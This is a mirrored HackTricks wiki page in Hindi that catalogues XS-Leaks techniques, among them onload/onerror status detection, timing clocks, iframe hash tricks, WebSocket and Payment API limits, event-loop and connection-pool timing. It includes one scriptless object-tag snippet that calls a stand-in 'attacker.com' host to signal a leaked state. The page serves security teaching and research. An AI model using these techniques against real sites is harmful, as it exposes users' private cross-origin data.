mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
915 lines
140 KiB
Markdown
915 lines
140 KiB
Markdown
# XS-Search/XS-Leaks
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## Basic Information
|
|
|
|
XS-Search एक विधि है जिसका उपयोग **क्रॉस-ओरिजिन जानकारी निकालने** के लिए किया जाता है, जो **साइड चैनल कमजोरियों** का लाभ उठाती है।
|
|
|
|
इस हमले में शामिल मुख्य घटक हैं:
|
|
|
|
- **कमजोर वेब**: लक्षित वेबसाइट जिससे जानकारी निकाली जानी है।
|
|
- **हमलावर का वेब**: वह दुर्भावनापूर्ण वेबसाइट जो हमलावर द्वारा बनाई गई है, जिसे पीड़ित विजिट करता है, जो एक्सप्लॉइट को होस्ट करती है।
|
|
- **शामिल करने की विधि**: वह तकनीक जो कमजोर वेब को हमलावर के वेब में शामिल करने के लिए उपयोग की जाती है (जैसे, window.open, iframe, fetch, href के साथ HTML टैग, आदि)।
|
|
- **लीक तकनीक**: तकनीकें जो शामिल करने की विधि के माध्यम से एकत्र की गई जानकारी के आधार पर कमजोर वेब की स्थिति में भिन्नताएँ पहचानने के लिए उपयोग की जाती हैं।
|
|
- **स्थितियाँ**: कमजोर वेब की दो संभावित स्थितियाँ, जिन्हें हमलावर पहचानने का प्रयास करता है।
|
|
- **पता लगाने योग्य भिन्नताएँ**: अवलोकनीय भिन्नताएँ जिन पर हमलावर कमजोर वेब की स्थिति का अनुमान लगाने के लिए निर्भर करता है।
|
|
|
|
### Detectable Differences
|
|
|
|
कमजोर वेब की स्थितियों को भिन्न करने के लिए कई पहलुओं का विश्लेषण किया जा सकता है:
|
|
|
|
- **स्थिति कोड**: **विभिन्न HTTP प्रतिक्रिया स्थिति कोड** के बीच भेद करना, जैसे सर्वर त्रुटियाँ, क्लाइंट त्रुटियाँ, या प्रमाणीकरण त्रुटियाँ।
|
|
- **API उपयोग**: पृष्ठों के बीच **वेब APIs के उपयोग** की पहचान करना, यह प्रकट करना कि क्या एक क्रॉस-ओरिजिन पृष्ठ एक विशिष्ट JavaScript वेब API का उपयोग करता है।
|
|
- **रीडायरेक्ट्स**: विभिन्न पृष्ठों पर नेविगेशन का पता लगाना, न केवल HTTP रीडायरेक्ट्स बल्कि वे भी जो JavaScript या HTML द्वारा ट्रिगर होते हैं।
|
|
- **पृष्ठ सामग्री**: **HTTP प्रतिक्रिया शरीर में भिन्नताओं** या पृष्ठ उप-संसाधनों में अवलोकन करना, जैसे **एंबेडेड फ्रेम की संख्या** या छवियों में आकार भिन्नताएँ।
|
|
- **HTTP हेडर**: **विशिष्ट HTTP प्रतिक्रिया हेडर** की उपस्थिति या संभवतः उसके मान को नोट करना, जिसमें X-Frame-Options, Content-Disposition, और Cross-Origin-Resource-Policy जैसे हेडर शामिल हैं।
|
|
- **समय**: दोनों स्थितियों के बीच लगातार समय भिन्नताओं का ध्यान रखना।
|
|
|
|
### Inclusion Methods
|
|
|
|
- **HTML तत्व**: HTML विभिन्न तत्वों की पेशकश करता है जो **क्रॉस-ओरिजिन संसाधन समावेश** के लिए होते हैं, जैसे स्टाइलशीट, छवियाँ, या स्क्रिप्ट, जो ब्राउज़र को एक गैर-HTML संसाधन के लिए अनुरोध करने के लिए मजबूर करते हैं। इस उद्देश्य के लिए संभावित HTML तत्वों का संकलन [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks) पर पाया जा सकता है।
|
|
- **फ्रेम**: तत्व जैसे **iframe**, **object**, और **embed** HTML संसाधनों को सीधे हमलावर के पृष्ठ में एम्बेड कर सकते हैं। यदि पृष्ठ **फ्रेमिंग सुरक्षा** की कमी है, तो JavaScript फ्रेम किए गए संसाधन की विंडो ऑब्जेक्ट को contentWindow प्रॉपर्टी के माध्यम से एक्सेस कर सकता है।
|
|
- **पॉप-अप**: **`window.open`** विधि एक संसाधन को नए टैब या विंडो में खोलती है, JavaScript के लिए विधियों और गुणों के साथ बातचीत करने के लिए एक **विंडो हैंडल** प्रदान करती है जो SOP का पालन करती है। पॉप-अप, जो अक्सर सिंगल साइन-ऑन में उपयोग होते हैं, लक्षित संसाधन की फ्रेमिंग और कुकी प्रतिबंधों को दरकिनार करते हैं। हालाँकि, आधुनिक ब्राउज़र पॉप-अप निर्माण को कुछ उपयोगकर्ता क्रियाओं तक सीमित करते हैं।
|
|
- **JavaScript अनुरोध**: JavaScript लक्षित संसाधनों के लिए सीधे अनुरोध करने की अनुमति देता है **XMLHttpRequests** या **Fetch API** का उपयोग करके। ये विधियाँ अनुरोध पर सटीक नियंत्रण प्रदान करती हैं, जैसे HTTP रीडायरेक्ट्स का पालन करने का विकल्प।
|
|
|
|
### Leak Techniques
|
|
|
|
- **इवेंट हैंडलर**: XS-Leaks में एक पारंपरिक लीक तकनीक, जहाँ इवेंट हैंडलर जैसे **onload** और **onerror** संसाधन लोडिंग की सफलता या विफलता के बारे में जानकारी प्रदान करते हैं।
|
|
- **त्रुटि संदेश**: JavaScript अपवाद या विशेष त्रुटि पृष्ठ लीक जानकारी प्रदान कर सकते हैं या तो त्रुटि संदेश से सीधे या इसकी उपस्थिति और अनुपस्थिति के बीच भेद करके।
|
|
- **वैश्विक सीमाएँ**: ब्राउज़र की भौतिक सीमाएँ, जैसे मेमोरी क्षमता या अन्य लागू ब्राउज़र सीमाएँ, जब एक सीमा पार हो जाती है तो संकेत दे सकती हैं, जो एक लीक तकनीक के रूप में कार्य करती हैं।
|
|
- **वैश्विक स्थिति**: ब्राउज़र की **वैश्विक स्थितियों** (जैसे, इतिहास इंटरफेस) के साथ पता लगाने योग्य इंटरैक्शन का शोषण किया जा सकता है। उदाहरण के लिए, ब्राउज़र के इतिहास में **प्रविष्टियों की संख्या** क्रॉस-ओरिजिन पृष्ठों के बारे में सुराग प्रदान कर सकती है।
|
|
- **परफॉर्मेंस API**: यह API **वर्तमान पृष्ठ के प्रदर्शन विवरण** प्रदान करती है, जिसमें दस्तावेज़ और लोड किए गए संसाधनों के लिए नेटवर्क समय शामिल है, जो अनुरोधित संसाधनों के बारे में अनुमान लगाने की अनुमति देती है।
|
|
- **पढ़ने योग्य विशेषताएँ**: कुछ HTML विशेषताएँ **क्रॉस-ओरिजिन पढ़ने योग्य** होती हैं और इन्हें लीक तकनीक के रूप में उपयोग किया जा सकता है। उदाहरण के लिए, `window.frame.length` प्रॉपर्टी JavaScript को एक वेबपृष्ठ में शामिल फ्रेमों की संख्या गिनने की अनुमति देती है।
|
|
|
|
## XSinator Tool & Paper
|
|
|
|
XSinator एक स्वचालित उपकरण है जो **कई ज्ञात XS-Leaks के खिलाफ ब्राउज़रों की जांच** करता है, जिसे इसके पेपर में समझाया गया है: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
|
|
|
|
आप **उपकरण तक पहुँच सकते हैं** [**https://xsinator.com/**](https://xsinator.com/)
|
|
|
|
> [!WARNING]
|
|
> **बहिष्कृत XS-Leaks**: हमें उन XS-Leaks को बहिष्कृत करना पड़ा जो **सेवा श्रमिकों** पर निर्भर करते हैं क्योंकि वे XSinator में अन्य लीक के साथ हस्तक्षेप करेंगे। इसके अलावा, हमने उन XS-Leaks को **बहिष्कृत करने का निर्णय लिया जो किसी विशेष वेब एप्लिकेशन में गलत कॉन्फ़िगरेशन और बग पर निर्भर करते हैं**। उदाहरण के लिए, CrossOrigin Resource Sharing (CORS) गलत कॉन्फ़िगरेशन, postMessage लीक या Cross-Site Scripting। इसके अतिरिक्त, हमने समय आधारित XS-Leaks को भी बहिष्कृत किया क्योंकि वे अक्सर धीमे, शोर वाले और असंगत होते हैं।
|
|
|
|
## **Timing Based techniques**
|
|
|
|
कुछ निम्नलिखित तकनीकें समय का उपयोग करने जा रही हैं ताकि वेब पृष्ठों की संभावित स्थितियों में भिन्नताएँ पहचान सकें। एक वेब ब्राउज़र में समय मापने के विभिन्न तरीके हैं।
|
|
|
|
**घड़ियाँ**: [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API डेवलपर्स को उच्च-रिज़ॉल्यूशन समय माप प्राप्त करने की अनुमति देती है।\
|
|
हमलावरों के पास निहित घड़ियाँ बनाने के लिए दुरुपयोग करने के लिए कई APIs हैं: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS एनिमेशन, और अन्य।\
|
|
अधिक जानकारी के लिए: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/)।
|
|
|
|
## Event Handler Techniques
|
|
|
|
### Onload/Onerror
|
|
|
|
- **Inclusion Methods**: Frames, HTML Elements
|
|
- **Detectable Difference**: Status Code
|
|
- **More info**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
|
|
- **Summary**: यदि एक संसाधन को लोड करने का प्रयास करते समय onerror/onload इवेंट्स ट्रिगर होते हैं जब संसाधन सफलतापूर्वक/असफलता से लोड होता है, तो स्थिति कोड का पता लगाना संभव है।
|
|
- **Code example**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
|
|
|
|
{{#ref}}
|
|
xs-search/cookie-bomb-+-onerror-xs-leak.md
|
|
{{#endref}}
|
|
|
|
कोड उदाहरण **JS से स्क्रिप्ट ऑब्जेक्ट लोड करने** का प्रयास करता है, लेकिन **अन्य टैग** जैसे ऑब्जेक्ट, स्टाइलशीट, छवियाँ, ऑडियो भी उपयोग किए जा सकते हैं। इसके अलावा, **टैग को सीधे** इंजेक्ट करना और टैग के अंदर `onload` और `onerror` इवेंट्स को घोषित करना भी संभव है (JS से इंजेक्ट करने के बजाय)।
|
|
|
|
इस हमले का एक स्क्रिप्ट-रहित संस्करण भी है:
|
|
```html
|
|
<object data="//example.com/404">
|
|
<object data="//attacker.com/?error"></object>
|
|
</object>
|
|
```
|
|
इस मामले में यदि `example.com/404` नहीं पाया जाता है तो `attacker.com/?error` लोड होगा।
|
|
|
|
### Onload Timing
|
|
|
|
- **Inclusion Methods**: HTML Elements
|
|
- **Detectable Difference**: Timing (आम तौर पर Page Content, Status Code के कारण)
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
|
|
- **Summary:** The [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** का उपयोग यह मापने के लिए किया जा सकता है कि एक अनुरोध करने में कितना समय लगता है। हालाँकि, अन्य घड़ियाँ भी उपयोग की जा सकती हैं, जैसे [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) जो 50ms से अधिक समय तक चलने वाले कार्यों की पहचान कर सकती हैं।
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) एक और उदाहरण में:
|
|
|
|
{{#ref}}
|
|
xs-search/performance.now-example.md
|
|
{{#endref}}
|
|
|
|
#### Onload Timing + Forced Heavy Task
|
|
|
|
यह तकनीक पिछले वाले के समान है, लेकिन **attacker** कुछ क्रिया को **प्रवृत्त** करेगा ताकि **संबंधित मात्रा में समय** लगे जब **उत्तर सकारात्मक या नकारात्मक** हो और उस समय को मापे।
|
|
|
|
{{#ref}}
|
|
xs-search/performance.now-+-force-heavy-task.md
|
|
{{#endref}}
|
|
|
|
### unload/beforeunload Timing
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Timing (आम तौर पर Page Content, Status Code के कारण)
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
|
|
- **Summary:** The [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) का उपयोग यह मापने के लिए किया जा सकता है कि एक अनुरोध करने में कितना समय लगता है। अन्य घड़ियाँ भी उपयोग की जा सकती हैं।
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
|
|
|
|
एक संसाधन को लाने में लगे समय को [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) और [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) घटनाओं का उपयोग करके मापा जा सकता है। **`beforeunload`** घटना तब होती है जब ब्राउज़र एक नए पृष्ठ पर जाने वाला होता है, जबकि **`unload`** घटना तब होती है जब नेविगेशन वास्तव में हो रहा होता है। इन दोनों घटनाओं के बीच का समय अंतर यह निर्धारित करने के लिए गणना की जा सकता है कि **ब्राउज़र ने संसाधन लाने में कितना समय बिताया**।
|
|
|
|
### Sandboxed Frame Timing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Timing (आम तौर पर Page Content, Status Code के कारण)
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
|
|
- **Summary:** The [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API का उपयोग यह मापने के लिए किया जा सकता है कि एक अनुरोध करने में कितना समय लगता है। अन्य घड़ियाँ भी उपयोग की जा सकती हैं।
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
|
|
|
|
यह देखा गया है कि [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/) की अनुपस्थिति में, एक पृष्ठ और इसके उप-संसाधनों को नेटवर्क पर लोड करने में लगे समय को एक हमलावर द्वारा मापा जा सकता है। यह माप आमतौर पर संभव है क्योंकि एक iframe का `onload` हैंडलर केवल संसाधन लोडिंग और JavaScript निष्पादन की समाप्ति के बाद ही सक्रिय होता है। स्क्रिप्ट निष्पादन द्वारा उत्पन्न परिवर्तनशीलता को बायपास करने के लिए, एक हमलावर [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) विशेषता का उपयोग कर सकता है `<iframe>` के भीतर। इस विशेषता का समावेश कई कार्यक्षमताओं को प्रतिबंधित करता है, विशेष रूप से JavaScript के निष्पादन को, जिससे एक माप को सुविधाजनक बनाया जा सकता है जो मुख्य रूप से नेटवर्क प्रदर्शन से प्रभावित होता है।
|
|
```javascript
|
|
// Example of an iframe with the sandbox attribute
|
|
<iframe src="example.html" sandbox></iframe>
|
|
```
|
|
### #ID + error + onload
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**:
|
|
- **Summary**: यदि आप सही सामग्री को एक्सेस करते समय पृष्ठ में त्रुटि उत्पन्न कर सकते हैं और किसी भी सामग्री को एक्सेस करते समय इसे सही ढंग से लोड कर सकते हैं, तो आप सभी जानकारी निकालने के लिए एक लूप बना सकते हैं बिना समय मापे।
|
|
- **Code Example**:
|
|
|
|
मान लीजिए कि आप **iframe के अंदर** **गुप्त** सामग्री वाला **पृष्ठ** **डाल सकते हैं**।
|
|
|
|
आप **पीड़ित को खोजने के लिए** कह सकते हैं कि वह "_**flag**_" वाला फ़ाइल **Iframe** का उपयोग करके खोजे (उदाहरण के लिए CSRF का शोषण करते हुए)। Iframe के अंदर आप जानते हैं कि _**onload event**_ हमेशा **कम से कम एक बार** **निष्पादित** होगा। फिर, आप **iframe** के **URL** को **बदल सकते हैं** लेकिन केवल **hash** के **content** को बदलकर।
|
|
|
|
उदाहरण के लिए:
|
|
|
|
1. **URL1**: www.attacker.com/xssearch#try1
|
|
2. **URL2**: www.attacker.com/xssearch#try2
|
|
|
|
यदि पहला URL **सफलतापूर्वक लोड** हुआ, तो, जब आप **URL** के **hash** भाग को **बदलते हैं**, तो **onload** इवेंट **फिर से ट्रिगर नहीं होगा**। लेकिन **यदि** पृष्ठ में **लोडिंग** के समय कोई प्रकार की **त्रुटि** थी, तो, **onload** इवेंट **फिर से ट्रिगर होगा**।
|
|
|
|
तब, आप **सही** लोड किए गए पृष्ठ या पृष्ठ के बीच **भेद कर सकते हैं** जिसमें **त्रुटि** है जब इसे एक्सेस किया जाता है।
|
|
|
|
### Javascript Execution
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**:
|
|
- **Summary:** यदि **पृष्ठ** **संवेदनशील** सामग्री **वापस कर रहा है**, **या** एक **सामग्री** जो उपयोगकर्ता द्वारा **नियंत्रित** की जा सकती है। उपयोगकर्ता **नकारात्मक मामले** में **मान्य JS कोड सेट कर सकता है**, और **`<script>`** टैग के अंदर प्रत्येक प्रयास को **लोड** कर सकता है, इसलिए **नकारात्मक** मामलों में हमलावरों का **कोड** **निष्पादित** होता है, और **सकारात्मक** मामलों में **कुछ भी** निष्पादित नहीं होगा।
|
|
- **Code Example:**
|
|
|
|
{{#ref}}
|
|
xs-search/javascript-execution-xs-leak.md
|
|
{{#endref}}
|
|
|
|
### CORB - Onerror
|
|
|
|
- **Inclusion Methods**: HTML Elements
|
|
- **Detectable Difference**: Status Code & Headers
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
|
|
- **Summary**: **Cross-Origin Read Blocking (CORB)** एक सुरक्षा उपाय है जो वेब पृष्ठों को कुछ संवेदनशील क्रॉस-ओरिजिन संसाधनों को लोड करने से रोकता है ताकि **Spectre** जैसे हमलों से सुरक्षा की जा सके। हालाँकि, हमलावर इसके सुरक्षात्मक व्यवहार का शोषण कर सकते हैं। जब **CORB** के अधीन एक प्रतिक्रिया _**CORB protected**_ `Content-Type` के साथ `nosniff` और `2xx` स्थिति कोड लौटाती है, तो **CORB** प्रतिक्रिया के शरीर और हेडर को हटा देता है। इस पर नज़र रखने वाले हमलावर स्थिति कोड (सफलता या त्रुटि को इंगित करने वाला) और `Content-Type` (यह दर्शाता है कि यह **CORB** द्वारा संरक्षित है) के संयोजन का अनुमान लगा सकते हैं, जिससे संभावित जानकारी का रिसाव होता है।
|
|
- **Code Example**:
|
|
|
|
हमले के बारे में अधिक जानकारी के लिए अधिक जानकारी लिंक की जांच करें।
|
|
|
|
### onblur
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
|
|
- **Summary**: id या name attribute से संवेदनशील डेटा लीक करें।
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
|
|
|
|
यह संभव है कि आप **iframe** के अंदर एक **पृष्ठ** **लोड** करें और **`#id_value`** का उपयोग करके पृष्ठ को **iframe के तत्व पर ध्यान केंद्रित** करने के लिए कहें, यदि एक **`onblur`** संकेत ट्रिगर होता है, तो ID तत्व मौजूद है।\
|
|
आप **`portal`** टैग के साथ भी वही हमला कर सकते हैं।
|
|
|
|
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
|
|
|
|
- **Inclusion Methods**: Frames, Pop-ups
|
|
- **Detectable Difference**: API Usage
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
|
|
- **Summary**: postMessage से संवेदनशील जानकारी इकट्ठा करें या उपयोगकर्ता की स्थिति जानने के लिए postMessages की उपस्थिति का उपयोग करें
|
|
- **Code Example**: `Any code listening for all postMessages.`
|
|
|
|
ऐप्लिकेशन अक्सर [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) का उपयोग विभिन्न मूलों के बीच संचार करने के लिए करते हैं। हालाँकि, यदि `targetOrigin` पैरामीटर को ठीक से निर्दिष्ट नहीं किया गया है, तो यह विधि अनजाने में **संवेदनशील जानकारी** को उजागर कर सकती है, जिससे किसी भी विंडो को संदेश प्राप्त करने की अनुमति मिलती है। इसके अलावा, संदेश प्राप्त करने की क्रिया एक **oracle** के रूप में कार्य कर सकती है; उदाहरण के लिए, कुछ संदेश केवल उन उपयोगकर्ताओं को भेजे जा सकते हैं जो लॉग इन हैं। इसलिए, इन संदेशों की उपस्थिति या अनुपस्थिति उपयोगकर्ता की स्थिति या पहचान के बारे में जानकारी प्रकट कर सकती है, जैसे कि क्या वे प्रमाणित हैं या नहीं।
|
|
|
|
## Global Limits Techniques
|
|
|
|
### WebSocket API
|
|
|
|
- **Inclusion Methods**: Frames, Pop-ups
|
|
- **Detectable Difference**: API Usage
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
|
- **Summary**: WebSocket कनेक्शन सीमा को समाप्त करना क्रॉस-ओरिजिन पृष्ठ के WebSocket कनेक्शनों की संख्या को लीक करता है।
|
|
- **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
|
|
|
|
यह पहचानना संभव है कि एक **लक्ष्य पृष्ठ** कितने **WebSocket कनेक्शन** का उपयोग करता है। यह हमलावर को एप्लिकेशन की स्थितियों का पता लगाने और WebSocket कनेक्शनों की संख्या से संबंधित जानकारी लीक करने की अनुमति देता है।
|
|
|
|
यदि एक **origin** **WebSocket** कनेक्शन ऑब्जेक्ट की **अधिकतम मात्रा** का उपयोग करता है, तो कनेक्शन की स्थिति की परवाह किए बिना, **नए ऑब्जेक्ट बनाने पर JavaScript अपवाद उत्पन्न होंगे**। इस हमले को निष्पादित करने के लिए, हमलावर की वेबसाइट लक्षित वेबसाइट को एक पॉप-अप या iframe में खोलती है और फिर, जब लक्षित वेब लोड हो जाता है, तो अधिकतम संख्या में WebSockets कनेक्शन बनाने का प्रयास करती है। **उठाए गए अपवादों की संख्या** **लक्षित वेबसाइट** विंडो द्वारा उपयोग किए गए **WebSocket कनेक्शनों की संख्या** है।
|
|
|
|
### Payment API
|
|
|
|
- **Inclusion Methods**: Frames, Pop-ups
|
|
- **Detectable Difference**: API Usage
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
|
- **Summary**: केवल एक सक्रिय हो सकता है, इसलिए भुगतान अनुरोध का पता लगाएं।
|
|
- **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
|
|
|
|
यह XS-Leak हमलावर को **यह पता लगाने की अनुमति देता है कि कब एक क्रॉस-ओरिजिन पृष्ठ भुगतान अनुरोध शुरू करता है**।
|
|
|
|
क्योंकि **केवल एक भुगतान अनुरोध सक्रिय हो सकता है** एक ही समय में, यदि लक्षित वेबसाइट भुगतान अनुरोध API का उपयोग कर रही है, तो इस API का उपयोग करने के लिए कोई भी आगे के प्रयास **विफल** होंगे, और एक **JavaScript अपवाद** का कारण बनेंगे। हमलावर इसे **नियमित रूप से भुगतान API UI दिखाने का प्रयास करके** शोषण कर सकता है। यदि एक प्रयास अपवाद का कारण बनता है, तो लक्षित वेबसाइट वर्तमान में इसका उपयोग कर रही है। हमलावर इन नियमित प्रयासों को UI बनाने के तुरंत बाद बंद करके छिपा सकता है।
|
|
|
|
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
|
|
|
|
- **Inclusion Methods**:
|
|
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
|
|
- **Summary:** एक वेब के निष्पादन समय को मापें जो एकल-थ्रेडेड JS इवेंट लूप का दुरुपयोग करता है।
|
|
- **Code Example**:
|
|
|
|
{{#ref}}
|
|
xs-search/event-loop-blocking-+-lazy-images.md
|
|
{{#endref}}
|
|
|
|
JavaScript एक [एकल-थ्रेडेड इवेंट लूप](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) समवर्ती मॉडल पर काम करता है, जिसका अर्थ है कि **यह एक समय में केवल एक कार्य निष्पादित कर सकता है**। इस विशेषता का शोषण किया जा सकता है ताकि **यह माप सके कि एक अलग मूल से कोड को निष्पादित करने में कितना समय लगता है**। एक हमलावर अपने कोड के निष्पादन समय को इवेंट लूप में माप सकता है, लगातार निश्चित गुणों के साथ इवेंट भेजकर। ये इवेंट तब संसाधित किए जाएंगे जब इवेंट पूल खाली होगा। यदि अन्य मूल भी उसी पूल में इवेंट भेज रहे हैं, तो एक **हमलावर अपने कार्यों के निष्पादन में देरी को देखकर यह अनुमान लगा सकता है कि इन बाहरी इवेंट्स को निष्पादित करने में कितना समय लगता है**। देरी के लिए इवेंट लूप की निगरानी करने की यह विधि विभिन्न मूलों से कोड के निष्पादन समय को प्रकट कर सकती है, संभावित रूप से संवेदनशील जानकारी को उजागर कर सकती है।
|
|
|
|
> [!WARNING]
|
|
> निष्पादन समय में **नेटवर्क कारकों** को **हटाना** संभव है ताकि **अधिक सटीक माप** प्राप्त किया जा सके। उदाहरण के लिए, पृष्ठ द्वारा उपयोग किए जाने वाले संसाधनों को लोड करने से पहले लोड करना।
|
|
|
|
### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>
|
|
|
|
- **Inclusion Methods**:
|
|
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
|
|
- **Summary:** एक वेब ऑपरेशन के निष्पादन समय को मापने की एक विधि में जानबूझकर एक थ्रेड के इवेंट लूप को अवरुद्ध करना और फिर **इवेंट लूप फिर से उपलब्ध होने में कितना समय लगता है** को मापना शामिल है। एक अवरुद्ध ऑपरेशन (जैसे लंबी गणना या समकालिक API कॉल) को इवेंट लूप में डालकर, और बाद के कोड के निष्पादन की शुरुआत में लगने वाले समय की निगरानी करके, यह अनुमान लगाया जा सकता है कि अवरुद्ध अवधि के दौरान इवेंट लूप में कौन से कार्य निष्पादित हो रहे थे। यह तकनीक JavaScript के इवेंट लूप की एकल-थ्रेडेड प्रकृति का लाभ उठाती है, जहां कार्य अनुक्रम में निष्पादित होते हैं, और अन्य ऑपरेशनों के प्रदर्शन या व्यवहार के बारे में अंतर्दृष्टि प्रदान कर सकती है जो उसी थ्रेड को साझा करते हैं।
|
|
- **Code Example**:
|
|
|
|
इवेंट लूप को लॉक करके निष्पादन समय को मापने की तकनीक का एक महत्वपूर्ण लाभ **Site Isolation** को दरकिनार करने की क्षमता है। **Site Isolation** एक सुरक्षा विशेषता है जो विभिन्न वेबसाइटों को अलग-अलग प्रक्रियाओं में विभाजित करती है, जिसका उद्देश्य दुर्भावनापूर्ण साइटों को अन्य साइटों से संवेदनशील डेटा तक सीधे पहुंचने से रोकना है। हालाँकि, साझा इवेंट लूप के माध्यम से दूसरे मूल के निष्पादन समय को प्रभावित करके, एक हमलावर उस मूल की गतिविधियों के बारे में अप्रत्यक्ष रूप से जानकारी निकाल सकता है। यह विधि दूसरे मूल के डेटा तक सीधे पहुंच पर निर्भर नहीं करती है, बल्कि साझा इवेंट लूप पर उस मूल की गतिविधियों के प्रभाव को देखती है, इस प्रकार **Site Isolation** द्वारा स्थापित सुरक्षात्मक बाधाओं से बचती है।
|
|
|
|
> [!WARNING]
|
|
> निष्पादन समय में **नेटवर्क कारकों** को **हटाना** संभव है ताकि **अधिक सटीक माप** प्राप्त किया जा सके। उदाहरण के लिए, पृष्ठ द्वारा उपयोग किए जाने वाले संसाधनों को लोड करने से पहले लोड करना।
|
|
|
|
### Connection Pool
|
|
|
|
- **Inclusion Methods**: JavaScript Requests
|
|
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
|
- **Summary:** एक हमलावर सभी सॉकेट्स को 1 को छोड़कर लॉक कर सकता है, लक्षित वेब को लोड कर सकता है और एक ही समय में एक और पृष्ठ लोड कर सकता है, अंतिम पृष्ठ के लोड होना शुरू होने तक का समय लक्षित पृष्ठ के लोड होने का समय है।
|
|
- **Code Example**:
|
|
|
|
{{#ref}}
|
|
xs-search/connection-pool-example.md
|
|
{{#endref}}
|
|
|
|
